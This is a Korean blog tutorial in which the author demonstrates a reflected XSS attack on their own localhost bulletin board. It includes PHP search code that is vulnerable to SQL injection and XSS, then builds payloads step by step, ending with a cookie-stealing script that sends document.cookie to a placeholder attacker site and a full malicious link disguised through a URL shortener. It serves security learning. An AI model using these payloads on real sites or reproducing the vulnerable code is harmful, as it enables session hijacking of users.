1

게시판에 Reflected XSS 공격 해보기

게시판에 Reflected XSS 공격 해보기

노아의 블로그

    목차
반응형

저번 시간에는 Reflected XSS를 배웠습니다.

이제 게시판에 직접 실습을 해 봅시다.

 

먼저 만든 게시판이 POST방식으로 전달을 하고 있기에 Reflected XSS공격을 할 수 없습니다.

왜냐하면, search 파라미터가 url에 담기니까 그 url에 악성 스크립트를 넣는것인데 

POST 방식은 url로 파라미터를 전달하지 않기에 링크로 전달할 방법이 없죠.

 

따라서 GET방식으로 교체합시다.

 

<?php
$search = $_GET['search'];
if($search){$sql = "select * from board where title like '%$search%'";}
else{$sql = "select * from board";}


$result = mysqli_query($conn, $sql);
if (mysqli_num_rows($result) > 0) {
        while($row = mysqli_fetch_assoc($result)) {
        echo "<a href='read.php?bno=" . $row['bno'] . "'>" . $row['title'] . "</a>";
        echo "<br>";
    }

}
else{
	echo"<script>alert('$search" . " no result ');</script>";
}
?>

검색 결과가 없을 시, 검색 결과가 없다는 알림창을 띄워줍니다.

 

고의적으로 없는 검색을 하면 사용자가 입력한 결과가 없다는 알림창이 나옵니다.

위에는 search 파라미터가 잘 들어가고 있습니다.

 

test12345 라고 검색을 시도하면

밑에 자바스크립트에 사용자 입력값이 들어갑니다.

그러면 여기에 악성 스크립트를 삽입하면 되겠죠.

 

하지만 현재 ' 에 막혀있어서 입력한 모든 문자는 문자 취급을 합니다.

 

따라서 SQLi를 할 때 처럼 '를 맞춰줘야죠.

 

문장이 참이기 위해서 test'); 를 입력했습니다

하지만 여전히 실행이 되지 않습니다. 앞 문장은 맞았지만 뒤 문장에는 no result'); 가 남아있기 때문이죠.

보통 두 가지 방법이 있습니다. 뒤를 지워버리거나 뒤 문장도 참이 되게 하면 됩니다.

 

test'); //를 입력해서 뒤에 문장을 주석처리합니다.

정상적으로 실행이 되었습니다.

문법적으로 문제가 없으니

test'); 악성코드// 이런식으로 하면 됩니다.

 

또 하나의 방법은 test'); alert('를 입력하는 것 입니다.

 

이렇게 하면 문법 오류가 없어졌습니다!

 

이제 공격을 시도해보죠.

 

코드가 길어지니 메모장에 적거나 미리 테스트를 통해서 문법오류를 방지하는게 좋습니다.

 

test'); var img = new Image(); img.src="해커의 사이트"; // 를 입력해서 요청이 가나 확인합니다.

 

입력한 코드가 정상적으로 실행되었다면 사이트에 요청이 갑니다.

 

이제 쿠키를 탈취해야죠.

 

test'); var img = new Image(); img.src="해커의사이트주소?cookie= " + document.cookie; //

를 한다면 쿠키값이 해커의 사이트로 가죠. 

 

한번 로그인을 한 후, 이 코드를 검색 해 봅시다.

 

잘 들어왔군요!

 

이제 이 링크를 공유하고 사용자가 클릭하면 털리겠죠?

링크를 복사합시다. 

http://localhost/board/list.php?search=test'); var img = new Image(); img.src="해커의 사이트주소?cookie=" + document.cookie; // 

 

마지막으로 할 것이 있습니다.

제 3자의 사이트가 개입해야죠.(url을 숨기기 위해서)

 

인터넷에 short url을 검색합시다.

 

사이트가 많으니 알아서 고르시구요

 

위의 복사한 링크를 넣어서 short 하면 새로운 url이나옵니다.

 

새로운 url을 클릭하면. 복사했던 url로 이동합니다!

 

이런식으로 세탁(?) 하는거죠..ㅋㅋ

 

새로운 url을 클릭해도 여전히 쿠키가 털립니다.

즉 새로운 url은 해커의 url로 보낸다는 의미가 되죠

 

Reflected XSS를 마무리 하겠습니다.

오늘의 교훈: 아무 링크나 막 들어가면 큰일난다..

반응형

'해킹 > XSS' 카테고리의 다른 글

게시판 Reflected XSS 취약점 고치기 1  (0) 2023.05.16
Reflected XSS 학습  (0) 2023.05.14
게시판에서 Stored XSS 공격해보기.  (0) 2023.05.07